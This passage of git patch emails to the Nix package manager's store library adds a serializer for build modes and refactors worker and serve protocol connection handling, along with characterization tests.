+    case bmNormal: return bmNormal;
+    case bmRepair: return bmRepair;
+    case bmCheck: return bmCheck;
+    default: throw Error("Invalid build mode");
+    }
+}
+
+void WorkerProto::Serialise<BuildMode>::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildMode & buildMode)
+{
+    switch (buildMode) {
+    case bmNormal:
+        conn.to << uint8_t{bmNormal};
+        break;
+    case bmRepair:
+        conn.to << uint8_t{bmRepair};
+        break;
+    case bmCheck:
+        conn.to << uint8_t{bmCheck};
+        break;
+    default:
+        assert(false);
+    };
+}
+
 std::optional<TrustedFlag> WorkerProto::Serialise<std::optional<TrustedFlag>>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn)
 {
     auto temp = readNum<uint8_t>(conn.from);
diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh
index 91d277b7705..34607b7af8c 100644
--- a/src/libstore/worker-protocol.hh
+++ b/src/libstore/worker-protocol.hh
@@ -35,6 +35,7 @@ struct BuildResult;
 struct KeyedBuildResult;
 struct ValidPathInfo;
 struct UnkeyedValidPathInfo;
+enum BuildMode : uint8_t;
 enum TrustedFlag : bool;
 
 
@@ -215,6 +216,8 @@ DECLARE_WORKER_SERIALISER(ValidPathInfo);
 template<>
 DECLARE_WORKER_SERIALISER(UnkeyedValidPathInfo);
 template<>
+DECLARE_WORKER_SERIALISER(BuildMode);
+template<>
 DECLARE_WORKER_SERIALISER(std::optional<TrustedFlag>);
 template<>
 DECLARE_WORKER_SERIALISER(std::optional<std::chrono::microseconds>);
diff --git a/tests/unit/libstore/data/worker-protocol/build-mode.bin b/tests/unit/libstore/data/worker-protocol/build-mode.bin
new file mode 100644
index 0000000000000000000000000000000000000000..51b239409bc815c19b00cb97f62996fb782f24c3
GIT binary patch
literal 24
PcmZQzfB;4)%><<Z05|{y

literal 0
HcmV?d00001

diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc
index 2b2e559a96a..89c3fe241fb 100644
--- a/tests/unit/libstore/worker-protocol.cc
+++ b/tests/unit/libstore/worker-protocol.cc
@@ -529,6 +529,17 @@ VERSIONED_CHARACTERIZATION_TEST(
         }),
     }))
 
+VERSIONED_CHARACTERIZATION_TEST(
+    WorkerProtoTest,
+    buildMode,
+    "build-mode",
+    defaultVersion,
+    (std::tuple<BuildMode, BuildMode, BuildMode> {
+        bmNormal,
+        bmRepair,
+        bmCheck,
+    }))
+
 VERSIONED_CHARACTERIZATION_TEST(
     WorkerProtoTest,
     optionalTrustedFlag,

From 8ebd99c74ee7e69be7cbe4b83f845ad51b0a8e61 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 27 May 2024 00:21:34 -0400
Subject: [PATCH 199/528] Back in enum values for `BuildMode` serializer

We don't want to rely on how C assigns numbers for enums in the wire
format. Sure, this is totally determined by the ABI, but it obscures the
code and makes it harder to safely change the enum definition (should we
need to) without accidentally breaking the wire format.
---
 src/libstore/worker-protocol.cc | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc
index ed6367c38f3..4d397ed21a5 100644
--- a/src/libstore/worker-protocol.cc
+++ b/src/libstore/worker-protocol.cc
@@ -18,9 +18,9 @@ BuildMode WorkerProto::Serialise<BuildMode>::read(const StoreDirConfig & store,
 {
     auto temp = readNum<uint8_t>(conn.from);
     switch (temp) {
-    case bmNormal: return bmNormal;
-    case bmRepair: return bmRepair;
-    case bmCheck: return bmCheck;
+    case 0: return bmNormal;
+    case 1: return bmRepair;
+    case 2: return bmCheck;
     default: throw Error("Invalid build mode");
     }
 }
@@ -29,13 +29,13 @@ void WorkerProto::Serialise<BuildMode>::write(const StoreDirConfig & store, Work
 {
     switch (buildMode) {
     case bmNormal:
-        conn.to << uint8_t{bmNormal};
+        conn.to << uint8_t{0};
         break;
     case bmRepair:
-        conn.to << uint8_t{bmRepair};
+        conn.to << uint8_t{1};
         break;
     case bmCheck:
-        conn.to << uint8_t{bmCheck};
+        conn.to << uint8_t{2};
         break;
     default:
         assert(false);

From f71b4da0b3ed994f2bfc3764df6f524ebe72c4da Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 23 May 2024 16:40:05 -0400
Subject: [PATCH 200/528] Factor our connection code for worker proto like
 serve proto

This increases test coverage, and gets the worker protocol ready to be
used by Hydra.

Why don't we just try to use the store interface in Hydra? Well, the
problem is that the store interface works on connection pools, with each
opreation getting potentially a different connection, but the way temp
roots work requires that we keep one logical "transaction" (temp root
session) using the same connection.

The longer-term solution probably is making connections themselves
implement the store interface, but that is something that builds on
this, so I feel OK that this is not churn in the wrong direction.

Fixes #9584
---
 src/libstore/daemon.cc                        |  38 +--
 src/libstore/legacy-ssh-store.cc              |  52 ++--
 src/libstore/remote-store-connection.hh       |  82 +----
 src/libstore/remote-store.cc                  | 214 ++-----------
 ...l-impl.cc => serve-protocol-connection.cc} |  68 +++--
 src/libstore/serve-protocol-connection.hh     | 108 +++++++
 src/libstore/serve-protocol-impl.hh           | 101 -------
 src/libstore/worker-protocol-connection.cc    | 280 ++++++++++++++++++
 src/libstore/worker-protocol-connection.hh    | 187 ++++++++++++
 src/libstore/worker-protocol.cc               |  31 ++
 src/libstore/worker-protocol.hh               |  42 +++
 src/nix-store/nix-store.cc                    |   1 +
 .../client-handshake-info_1_30.bin            |   0
 .../client-handshake-info_1_33.bin            | Bin 0 -> 32 bytes
 .../client-handshake-info_1_35.bin            | Bin 0 -> 48 bytes
 .../worker-protocol/handshake-to-client.bin   | Bin 0 -> 16 bytes
 tests/unit/libstore/serve-protocol.cc         |   1 +
 tests/unit/libstore/worker-protocol.cc        | 153 +++++++++-
 18 files changed, 906 insertions(+), 452 deletions(-)
 rename src/libstore/{serve-protocol-impl.cc => serve-protocol-connection.cc} (51%)
 create mode 100644 src/libstore/serve-protocol-connection.hh
 create mode 100644 src/libstore/worker-protocol-connection.cc
 create mode 100644 src/libstore/worker-protocol-connection.hh
 create mode 100644 tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin
 create mode 100644 tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin
 create mode 100644 tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin
 create mode 100644 tests/unit/libstore/data/worker-protocol/handshake-to-client.bin

diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc
index 47d6d5541be..2add9ae128d 100644
--- a/src/libstore/daemon.cc
+++ b/src/libstore/daemon.cc
@@ -1,6 +1,7 @@
 #include "daemon.hh"
 #include "signals.hh"
 #include "worker-protocol.hh"
+#include "worker-protocol-connection.hh"
 #include "worker-protocol-impl.hh"
 #include "build-result.hh"
 #include "store-api.hh"
@@ -1026,11 +1027,9 @@ void processConnection(
 #endif
 
     /* Exchange the greeting. */
-    unsigned int magic = readInt(from);
-    if (magic != WORKER_MAGIC_1) throw Error("protocol mismatch");
-    to << WORKER_MAGIC_2 << PROTOCOL_VERSION;
-    to.flush();
-    WorkerProto::Version clientVersion = readInt(from);
+    WorkerProto::Version clientVersion =
+        WorkerProto::BasicServerConnection::handshake(
+            to, from, PROTOCOL_VERSION);
 
     if (clientVersion < 0x10a)
         throw Error("the Nix client version is too old");
@@ -1048,29 +1047,20 @@ void processConnection(
         printMsgUsing(prevLogger, lvlDebug, "%d operations", opCount);
     });
 
-    if (GET_PROTOCOL_MINOR(clientVersion) >= 14 && readInt(from)) {
-        // Obsolete CPU affinity.
-        readInt(from);
-    }
-
-    if (GET_PROTOCOL_MINOR(clientVersion) >= 11)
-        readInt(from); // obsolete reserveSpace
-
-    if (GET_PROTOCOL_MINOR(clientVersion) >= 33)
-        to << nixVersion;
+    WorkerProto::BasicServerConnection conn {
+        .to = to,
+        .from = from,
+        .clientVersion = clientVersion,
+    };
 
-    if (GET_PROTOCOL_MINOR(clientVersion) >= 35) {
+    conn.postHandshake(*store, {
+        .daemonNixVersion = nixVersion,
         // We and the underlying store both need to trust the client for
         // it to be trusted.
-        auto temp = trusted
+        .remoteTrustsUs = trusted
             ? store->isTrustedClient()
-            : std::optional { NotTrusted };
-        WorkerProto::WriteConn wconn {
-            .to = to,
-            .version = clientVersion,
-        };
-        WorkerProto::write(*store, wconn, temp);
-    }
+            : std::optional { NotTrusted },
+    });
 
     /* Send startup error messages to the client. */
     tunnelLogger->startWork();
diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc
index c75d50ade89..14604992221 100644
--- a/src/libstore/legacy-ssh-store.cc
+++ b/src/libstore/legacy-ssh-store.cc
@@ -4,6 +4,7 @@
 #include "pool.hh"
 #include "remote-store.hh"
 #include "serve-protocol.hh"
+#include "serve-protocol-connection.hh"
 #include "serve-protocol-impl.hh"
 #include "build-result.hh"
 #include "store-api.hh"
@@ -86,7 +87,7 @@ ref<LegacySSHStore::Connection> LegacySSHStore::openConnection()
         conn->sshConn->in.close();
         {
             NullSink nullSink;
-            conn->from.drainInto(nullSink);
+            tee.drainInto(nullSink);
         }
         throw Error("'nix-store --serve' protocol mismatch from '%s', got '%s'",
             host, chomp(saved.s));
@@ -168,41 +169,38 @@ void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source,
         }
         conn->to.flush();
 
+        if (readInt(conn->from) != 1)
+            throw Error("failed to add path '%s' to remote host '%s'", printStorePath(info.path), host);
+
     } else {
 
-        conn->to
-            << ServeProto::Command::ImportPaths
-            << 1;
-        try {
-            copyNAR(source, conn->to);
-        } catch (...) {
-            conn->good = false;
-            throw;
-        }
-        conn->to
-            << exportMagic
-            << printStorePath(info.path);
-        ServeProto::write(*this, *conn, info.references);
-        conn->to
-            << (info.deriver ? printStorePath(*info.deriver) : "")
-            << 0
-            << 0;
-        conn->to.flush();
+        conn->importPaths(*this, [&](Sink & sink) {
+            try {
+                copyNAR(source, sink);
+            } catch (...) {
+                conn->good = false;
+                throw;
+            }
+            sink
+                << exportMagic
+                << printStorePath(info.path);
+            ServeProto::write(*this, *conn, info.references);
+            sink
+                << (info.deriver ? printStorePath(*info.deriver) : "")
+                << 0
+                << 0;
+        });
 
     }
-
-    if (readInt(conn->from) != 1)
-        throw Error("failed to add path '%s' to remote host '%s'", printStorePath(info.path), host);
 }
 
 
 void LegacySSHStore::narFromPath(const StorePath & path, Sink & sink)
 {
     auto conn(connections->get());
-
-    conn->to << ServeProto::Command::DumpStorePath << printStorePath(path);
-    conn->to.flush();
-    copyNAR(conn->from, sink);
+    conn->narFromPath(*this, path, [&](auto & source) {
+        copyNAR(source, sink);
+    });
 }
 
 
@@ -226,7 +224,7 @@ BuildResult LegacySSHStore::buildDerivation(const StorePath & drvPath, const Bas
 
     conn->putBuildDerivationRequest(*this, drvPath, drv, buildSettings());
 
-    return ServeProto::Serialise<BuildResult>::read(*this, *conn);
+    return conn->getBuildDerivationResponse(*this);
 }
 
 
diff --git a/src/libstore/remote-store-connection.hh b/src/libstore/remote-store-connection.hh
index 44328b06b55..405120ee926 100644
--- a/src/libstore/remote-store-connection.hh
+++ b/src/libstore/remote-store-connection.hh
@@ -3,6 +3,7 @@
 
 #include "remote-store.hh"
 #include "worker-protocol.hh"
+#include "worker-protocol-connection.hh"
 #include "pool.hh"
 
 namespace nix {
@@ -14,90 +15,13 @@ namespace nix {
  * Contains `Source` and `Sink` for actual communication, along with
  * other information learned when negotiating the connection.
  */
-struct RemoteStore::Connection
+struct RemoteStore::Connection : WorkerProto::BasicClientConnection,
+  WorkerProto::ClientHandshakeInfo
 {
-    /**
-     * Send with this.
-     */
-    FdSink to;
-
-    /**
-     * Receive with this.
-     */
-    FdSource from;
-
-    /**
-     * Worker protocol version used for the connection.
-     *
-     * Despite its name, I think it is actually the maximum version both
-     * sides support. (If the maximum doesn't exist, we would fail to
-     * establish a connection and produce a value of this type.)
-     */
-    WorkerProto::Version daemonVersion;
-
-    /**
-     * Whether the remote side trusts us or not.
-     *
-     * 3 values: "yes", "no", or `std::nullopt` for "unknown".
-     *
-     * Note that the "remote side" might not be just the end daemon, but
-     * also an intermediary forwarder that can make its own trusting
-     * decisions. This would be the intersection of all their trust
-     * decisions, since it takes only one link in the chain to start
-     * denying operations.
-     */
-    std::optional<TrustedFlag> remoteTrustsUs;
-
-    /**
-     * The version of the Nix daemon that is processing our requests.
-     *
-     * Do note, it may or may not communicating with another daemon,
-     * rather than being an "end" `LocalStore` or similar.
-     */
-    std::optional<std::string> daemonNixVersion;
-
     /**
      * Time this connection was established.
      */
     std::chrono::time_point<std::chrono::steady_clock> startTime;
-
-    /**
-     * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the
-     * factored out worker protocol searlizers with a
-     * `RemoteStore::Connection`.
-     *
-     * The worker protocol connection types are unidirectional, unlike
-     * this type.
-     */
-    operator WorkerProto::ReadConn ()
-    {
-        return WorkerProto::ReadConn {
-            .from = from,
-            .version = daemonVersion,
-        };
-    }
-
-    /**
-     * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the
-     * factored out worker protocol searlizers with a
-     * `RemoteStore::Connection`.
-     *
-     * The worker protocol connection types are unidirectional, unlike
-     * this type.
-     */
-    operator WorkerProto::WriteConn ()
-    {
-        return WorkerProto::WriteConn {
-            .to = to,
-            .version = daemonVersion,
-        };
-    }
-
-    virtual ~Connection();
-
-    virtual void closeWrite() = 0;
-
-    std::exception_ptr processStderr(Sink * sink = 0, Source * source = 0, bool flush = true);
 };
 
 /**
diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc
index 09196481bb9..d6efc14f90d 100644
--- a/src/libstore/remote-store.cc
+++ b/src/libstore/remote-store.cc
@@ -69,50 +69,26 @@ void RemoteStore::initConnection(Connection & conn)
     /* Send the magic greeting, check for the reply. */
     try {
         conn.from.endOfFileError = "Nix daemon disconnected unexpectedly (maybe it crashed?)";
-        conn.to << WORKER_MAGIC_1;
-        conn.to.flush();
+
         StringSink saved;
+        TeeSource tee(conn.from, saved);
         try {
-            TeeSource tee(conn.from, saved);
-            unsigned int magic = readInt(tee);
-            if (magic != WORKER_MAGIC_2)
-                throw Error("protocol mismatch");
+            conn.daemonVersion = WorkerProto::BasicClientConnection::handshake(
+                conn.to, tee, PROTOCOL_VERSION);
         } catch (SerialisationError & e) {
             /* In case the other side is waiting for our input, close
                it. */
             conn.closeWrite();
-            auto msg = conn.from.drain();
-            throw Error("protocol mismatch, got '%s'", chomp(saved.s + msg));
-        }
-
-        conn.from >> conn.daemonVersion;
-        if (GET_PROTOCOL_MAJOR(conn.daemonVersion) != GET_PROTOCOL_MAJOR(PROTOCOL_VERSION))
-            throw Error("Nix daemon protocol version not supported");
-        if (GET_PROTOCOL_MINOR(conn.daemonVersion) < 10)
-            throw Error("the Nix daemon version is too old");
-        conn.to << PROTOCOL_VERSION;
-
-        if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 14) {
-            // Obsolete CPU affinity.
-            conn.to << 0;
+            {
+                NullSink nullSink;
+                tee.drainInto(nullSink);
+            }
+            throw Error("protocol mismatch, got '%s'", chomp(saved.s));
         }
 
-        if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 11)
-            conn.to << false; // obsolete reserveSpace
-
-        if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 33) {
-            conn.to.flush();
-            conn.daemonNixVersion = readString(conn.from);
-        }
+        static_cast<WorkerProto::ClientHandshakeInfo &>(conn) = conn.postHandshake(*this);
 
-        if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 35) {
-            conn.remoteTrustsUs = WorkerProto::Serialise<std::optional<TrustedFlag>>::read(*this, conn);
-        } else {
-            // We don't know the answer; protocol to old.
-            conn.remoteTrustsUs = std::nullopt;
-        }
-
-        auto ex = conn.processStderr();
+        auto ex = conn.processStderrReturn();
         if (ex) std::rethrow_exception(ex);
     }
     catch (Error & e) {
@@ -158,7 +134,7 @@ void RemoteStore::setOptions(Connection & conn)
             conn.to << i.first << i.second.value;
     }
 
-    auto ex = conn.processStderr();
+    auto ex = conn.processStderrReturn();
     if (ex) std::rethrow_exception(ex);
 }
 
@@ -173,28 +149,7 @@ RemoteStore::ConnectionHandle::~ConnectionHandle()
 
 void RemoteStore::ConnectionHandle::processStderr(Sink * sink, Source * source, bool flush)
 {
-    auto ex = handle->processStderr(sink, source, flush);
-    if (ex) {
-        daemonException = true;
-        try {
-            std::rethrow_exception(ex);
-        } catch (const Error & e) {
-            // Nix versions before #4628 did not have an adequate behavior for reporting that the derivation format was upgraded.
-            // To avoid having to add compatibility logic in many places, we expect to catch almost all occurrences of the
-            // old incomprehensible error here, so that we can explain to users what's going on when their daemon is
-            // older than #4628 (2023).
-            if (experimentalFeatureSettings.isEnabled(Xp::DynamicDerivations) &&
-                GET_PROTOCOL_MINOR(handle->daemonVersion) <= 35)
-            {
-                auto m = e.msg();
-                if (m.find("parsing derivation") != std::string::npos &&
-                    m.find("expected string") != std::string::npos &&
-                    m.find("Derive([") != std::string::npos)
-                    throw Error("%s, this might be because the daemon is too old to understand dependencies on dynamic derivations. Check to see if the raw derivation is in the form '%s'", std::move(m), "DrvWithVersion(..)");
-            }
-            throw;
-        }
-    }
+    handle->processStderr(&daemonException, sink, source, flush);
 }
 
 
@@ -226,13 +181,7 @@ StorePathSet RemoteStore::queryValidPaths(const StorePathSet & paths, Substitute
             if (isValidPath(i)) res.insert(i);
         return res;
     } else {
-        conn->to << WorkerProto::Op::QueryValidPaths;
-        WorkerProto::write(*this, *conn, paths);
-        if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 27) {
-            conn->to << maybeSubstitute;
-        }
-        conn.processStderr();
-        return WorkerProto::Serialise<StorePathSet>::read(*this, *conn);
+        return conn->queryValidPaths(*this, &conn.daemonException, paths, maybeSubstitute);
     }
 }
 
@@ -322,22 +271,10 @@ void RemoteStore::queryPathInfoUncached(const StorePath & path,
         std::shared_ptr<const ValidPathInfo> info;
         {
             auto conn(getConnection());
-            conn->to << WorkerProto::Op::QueryPathInfo << printStorePath(path);
-            try {
-                conn.processStderr();
-            } catch (Error & e) {
-                // Ugly backwards compatibility hack.
-                if (e.msg().find("is not valid") != std::string::npos)
-                    throw InvalidPath(std::move(e.info()));
-                throw;
-            }
-            if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 17) {
-                bool valid; conn->from >> valid;
-                if (!valid) throw InvalidPath("path '%s' is not valid", printStorePath(path));
-            }
             info = std::make_shared<ValidPathInfo>(
                 StorePath{path},
-                WorkerProto::Serialise<UnkeyedValidPathInfo>::read(*this, *conn));
+                conn->queryPathInfo(*this, &conn.daemonException, path));
+
         }
         callback(std::move(info));
     } catch (...) { callback.rethrow(); }
@@ -542,8 +479,6 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source,
     auto conn(getConnection());
 
     if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 18) {
-        conn->to << WorkerProto::Op::ImportPaths;
-
         auto source2 = sinkToSource([&](Sink & sink) {
             sink << 1 // == path follows
                 ;
@@ -558,11 +493,7 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source,
                 << 0 // == no path follows
                 ;
         });
-
-        conn.processStderr(0, source2.get());
-
-        auto importedPaths = WorkerProto::Serialise<StorePathSet>::read(*this, *conn);
-        assert(importedPaths.size() <= 1);
+        conn->importPaths(*this, &conn.daemonException, *source2);
     }
 
     else {
@@ -807,9 +738,7 @@ BuildResult RemoteStore::buildDerivation(const StorePath & drvPath, const BasicD
     BuildMode buildMode)
 {
     auto conn(getConnection());
-    conn->to << WorkerProto::Op::BuildDerivation << printStorePath(drvPath);
-    writeDerivation(conn->to, *this, drv);
-    conn->to << buildMode;
+    conn->putBuildDerivationRequest(*this, &conn.daemonException, drvPath, drv, buildMode);
     conn.processStderr();
     return WorkerProto::Serialise<BuildResult>::read(*this, *conn);
 }
@@ -827,9 +756,7 @@ void RemoteStore::ensurePath(const StorePath & path)
 void RemoteStore::addTempRoot(const StorePath & path)
 {
     auto conn(getConnection());
-    conn->to << WorkerProto::Op::AddTempRoot << printStorePath(path);
-    conn.processStderr();
-    readInt(conn->from);
+    conn->addTempRoot(*this, &conn.daemonException, path);
 }
 
 
@@ -969,22 +896,12 @@ void RemoteStore::flushBadConnections()
     connections->flushBad();
 }
 
-
-RemoteStore::Connection::~Connection()
-{
-    try {
-        to.flush();
-    } catch (...) {
-        ignoreException();
-    }
-}
-
 void RemoteStore::narFromPath(const StorePath & path, Sink & sink)
 {
-    auto conn(connections->get());
-    conn->to << WorkerProto::Op::NarFromPath << printStorePath(path);
-    conn->processStderr();
-    copyNAR(conn->from, sink);
+    auto conn(getConnection());
+    conn->narFromPath(*this, &conn.daemonException, path, [&](Source & source) {
+        copyNAR(conn->from, sink);
+    });
 }
 
 ref<SourceAccessor> RemoteStore::getFSAccessor(bool requireValidPath)
@@ -992,91 +909,6 @@ ref<SourceAccessor> RemoteStore::getFSAccessor(bool requireValidPath)
     return make_ref<RemoteFSAccessor>(ref<Store>(shared_from_this()));
 }
 
-static Logger::Fields readFields(Source & from)
-{
-    Logger::Fields fields;
-    size_t size = readInt(from);
-    for (size_t n = 0; n < size; n++) {
-        auto type = (decltype(Logger::Field::type)) readInt(from);
-        if (type == Logger::Field::tInt)
-            fields.push_back(readNum<uint64_t>(from));
-        else if (type == Logger::Field::tString)
-            fields.push_back(readString(from));
-        else
-            throw Error("got unsupported field type %x from Nix daemon", (int) type);
-    }
-    return fields;
-}
-
-
-std::exception_ptr RemoteStore::Connection::processStderr(Sink * sink, Source * source, bool flush)
-{
-    if (flush)
-        to.flush();
-
-    while (true) {
-
-        auto msg = readNum<uint64_t>(from);
-
-        if (msg == STDERR_WRITE) {
-            auto s = readString(from);
-            if (!sink) throw Error("no sink");
-            (*sink)(s);
-        }
-
-        else if (msg == STDERR_READ) {
-            if (!source) throw Error("no source");
-            size_t len = readNum<size_t>(from);
-            auto buf = std::make_unique<char[]>(len);
-            writeString({(const char *) buf.get(), source->read(buf.get(), len)}, to);
-            to.flush();
-        }
-
-        else if (msg == STDERR_ERROR) {
-            if (GET_PROTOCOL_MINOR(daemonVersion) >= 26) {
-                return std::make_exception_ptr(readError(from));
-            } else {
-                auto error = readString(from);
-                unsigned int status = readInt(from);
-                return std::make_exception_ptr(Error(status, error));
-            }
-        }
-
-        else if (msg == STDERR_NEXT)
-            printError(chomp(readString(from)));
-
-        else if (msg == STDERR_START_ACTIVITY) {
-            auto act = readNum<ActivityId>(from);
-            auto lvl = (Verbosity) readInt(from);
-            auto type = (ActivityType) readInt(from);
-            auto s = readString(from);
-            auto fields = readFields(from);
-            auto parent = readNum<ActivityId>(from);
-            logger->startActivity(act, lvl, type, s, fields, parent);
-        }
-
-        else if (msg == STDERR_STOP_ACTIVITY) {
-            auto act = readNum<ActivityId>(from);
-            logger->stopActivity(act);
-        }
-
-        else if (msg == STDERR_RESULT) {
-            auto act = readNum<ActivityId>(from);
-            auto type = (ResultType) readInt(from);
-            auto fields = readFields(from);
-            logger->result(act, type, fields);
-        }
-
-        else if (msg == STDERR_LAST)
-            break;
-
-        else
-            throw Error("got unknown message type %x from Nix daemon", msg);
-    }
-
-    return nullptr;
-}
-
 void RemoteStore::ConnectionHandle::withFramedSink(std::function<void(Sink & sink)> fun)
 {
     (*this)->to.flush();
diff --git a/src/libstore/serve-protocol-impl.cc b/src/libstore/serve-protocol-connection.cc
similarity index 51%
rename from src/libstore/serve-protocol-impl.cc
rename to src/libstore/serve-protocol-connection.cc
index 5e1d3f1e85d..07379999b4b 100644
--- a/src/libstore/serve-protocol-impl.cc
+++ b/src/libstore/serve-protocol-connection.cc
@@ -1,3 +1,4 @@
+#include "serve-protocol-connection.hh"
 #include "serve-protocol-impl.hh"
 #include "build-result.hh"
 #include "derivations.hh"
@@ -5,10 +6,7 @@
 namespace nix {
 
 ServeProto::Version ServeProto::BasicClientConnection::handshake(
-    BufferedSink & to,
-    Source & from,
-    ServeProto::Version localVersion,
-    std::string_view host)
+    BufferedSink & to, Source & from, ServeProto::Version localVersion, std::string_view host)
 {
     to << SERVE_MAGIC_1 << localVersion;
     to.flush();
@@ -22,39 +20,30 @@ ServeProto::Version ServeProto::BasicClientConnection::handshake(
     return std::min(remoteVersion, localVersion);
 }
 
-ServeProto::Version ServeProto::BasicServerConnection::handshake(
-    BufferedSink & to,
-    Source & from,
-    ServeProto::Version localVersion)
+ServeProto::Version
+ServeProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion)
 {
     unsigned int magic = readInt(from);
-    if (magic != SERVE_MAGIC_1) throw Error("protocol mismatch");
+    if (magic != SERVE_MAGIC_1)
+        throw Error("protocol mismatch");
     to << SERVE_MAGIC_2 << localVersion;
     to.flush();
     auto remoteVersion = readInt(from);
     return std::min(remoteVersion, localVersion);
 }
 
-
 StorePathSet ServeProto::BasicClientConnection::queryValidPaths(
-    const Store & store,
-    bool lock, const StorePathSet & paths,
-    SubstituteFlag maybeSubstitute)
+    const StoreDirConfig & store, bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute)
 {
-    to
-        << ServeProto::Command::QueryValidPaths
-        << lock
-        << maybeSubstitute;
+    to << ServeProto::Command::QueryValidPaths << lock << maybeSubstitute;
     write(store, *this, paths);
     to.flush();
 
     return Serialise<StorePathSet>::read(store, *this);
 }
 
-
-std::map<StorePath, UnkeyedValidPathInfo> ServeProto::BasicClientConnection::queryPathInfos(
-    const Store & store,
-    const StorePathSet & paths)
+std::map<StorePath, UnkeyedValidPathInfo>
+ServeProto::BasicClientConnection::queryPathInfos(const StoreDirConfig & store, const StorePathSet & paths)
 {
     std::map<StorePath, UnkeyedValidPathInfo> infos;
 
@@ -64,7 +53,8 @@ std::map<StorePath, UnkeyedValidPathInfo> ServeProto::BasicClientConnection::que
 
     while (true) {
         auto storePathS = readString(from);
-        if (storePathS == "") break;
+        if (storePathS == "")
+            break;
 
         auto storePath = store.parseStorePath(storePathS);
         assert(paths.count(storePath) == 1);
@@ -75,15 +65,13 @@ std::map<StorePath, UnkeyedValidPathInfo> ServeProto::BasicClientConnection::que
     return infos;
 }
 
-
 void ServeProto::BasicClientConnection::putBuildDerivationRequest(
-    const Store & store,
-    const StorePath & drvPath, const BasicDerivation & drv,
+    const StoreDirConfig & store,
+    const StorePath & drvPath,
+    const BasicDerivation & drv,
     const ServeProto::BuildOptions & options)
 {
-    to
-        << ServeProto::Command::BuildDerivation
-        << store.printStorePath(drvPath);
+    to << ServeProto::Command::BuildDerivation << store.printStorePath(drvPath);
     writeDerivation(to, store, drv);
 
     ServeProto::write(store, *this, options);
@@ -91,4 +79,28 @@ void ServeProto::BasicClientConnection::putBuildDerivationRequest(
     to.flush();
 }
 
+BuildResult ServeProto::BasicClientConnection::getBuildDerivationResponse(const StoreDirConfig & store)
+{
+    return ServeProto::Serialise<BuildResult>::read(store, *this);
+}
+
+void ServeProto::BasicClientConnection::narFromPath(
+    const StoreDirConfig & store, const StorePath & path, std::function<void(Source &)> fun)
+{
+    to << ServeProto::Command::DumpStorePath << store.printStorePath(path);
+    to.flush();
+
+    fun(from);
+}
+
+void ServeProto::BasicClientConnection::importPaths(const StoreDirConfig & store, std::function<void(Sink &)> fun)
+{
+    to << ServeProto::Command::ImportPaths;
+    fun(to);
+    to.flush();
+
+    if (readInt(from) != 1)
+        throw Error("remote machine failed to import closure");
+}
+
 }
diff --git a/src/libstore/serve-protocol-connection.hh b/src/libstore/serve-protocol-connection.hh
new file mode 100644
index 00000000000..73bf714439e
--- /dev/null
+++ b/src/libstore/serve-protocol-connection.hh
@@ -0,0 +1,108 @@
+#pragma once
+///@file
+
+#include "serve-protocol.hh"
+#include "store-api.hh"
+
+namespace nix {
+
+struct ServeProto::BasicClientConnection
+{
+    FdSink to;
+    FdSource from;
+    ServeProto::Version remoteVersion;
+
+    /**
+     * Establishes connection, negotiating version.
+     *
+     * @return the version provided by the other side of the
+     * connection.
+     *
+     * @param to Taken by reference to allow for various error handling
+     * mechanisms.
+     *
+     * @param from Taken by reference to allow for various error
+     * handling mechanisms.
+     *
+     * @param localVersion Our version which is sent over
+     *
+     * @param host Just used to add context to thrown exceptions.
+     */
+    static ServeProto::Version
+    handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion, std::string_view host);
+
+    /**
+     * Coercion to `ServeProto::ReadConn`. This makes it easy to use the
+     * factored out serve protocol serializers with a
+     * `LegacySSHStore::Connection`.
+     *
+     * The serve protocol connection types are unidirectional, unlike
+     * this type.
+     */
+    operator ServeProto::ReadConn()
+    {
+        return ServeProto::ReadConn{
+            .from = from,
+            .version = remoteVersion,
+        };
+    }
+
+    /**
+     * Coercion to `ServeProto::WriteConn`. This makes it easy to use the
+     * factored out serve protocol serializers with a
+     * `LegacySSHStore::Connection`.
+     *
+     * The serve protocol connection types are unidirectional, unlike
+     * this type.
+     */
+    operator ServeProto::WriteConn()
+    {
+        return ServeProto::WriteConn{
+            .to = to,
+            .version = remoteVersion,
+        };
+    }
+
+    StorePathSet queryValidPaths(
+        const StoreDirConfig & remoteStore, bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute);
+
+    std::map<StorePath, UnkeyedValidPathInfo> queryPathInfos(const StoreDirConfig & store, const StorePathSet & paths);
+    ;
+
+    void putBuildDerivationRequest(
+        const StoreDirConfig & store,
+        const StorePath & drvPath,
+        const BasicDerivation & drv,
+        const ServeProto::BuildOptions & options);
+
+    /**
+     * Get the response, must be paired with
+     * `putBuildDerivationRequest`.
+     */
+    BuildResult getBuildDerivationResponse(const StoreDirConfig & store);
+
+    void narFromPath(const StoreDirConfig & store, const StorePath & path, std::function<void(Source &)> fun);
+
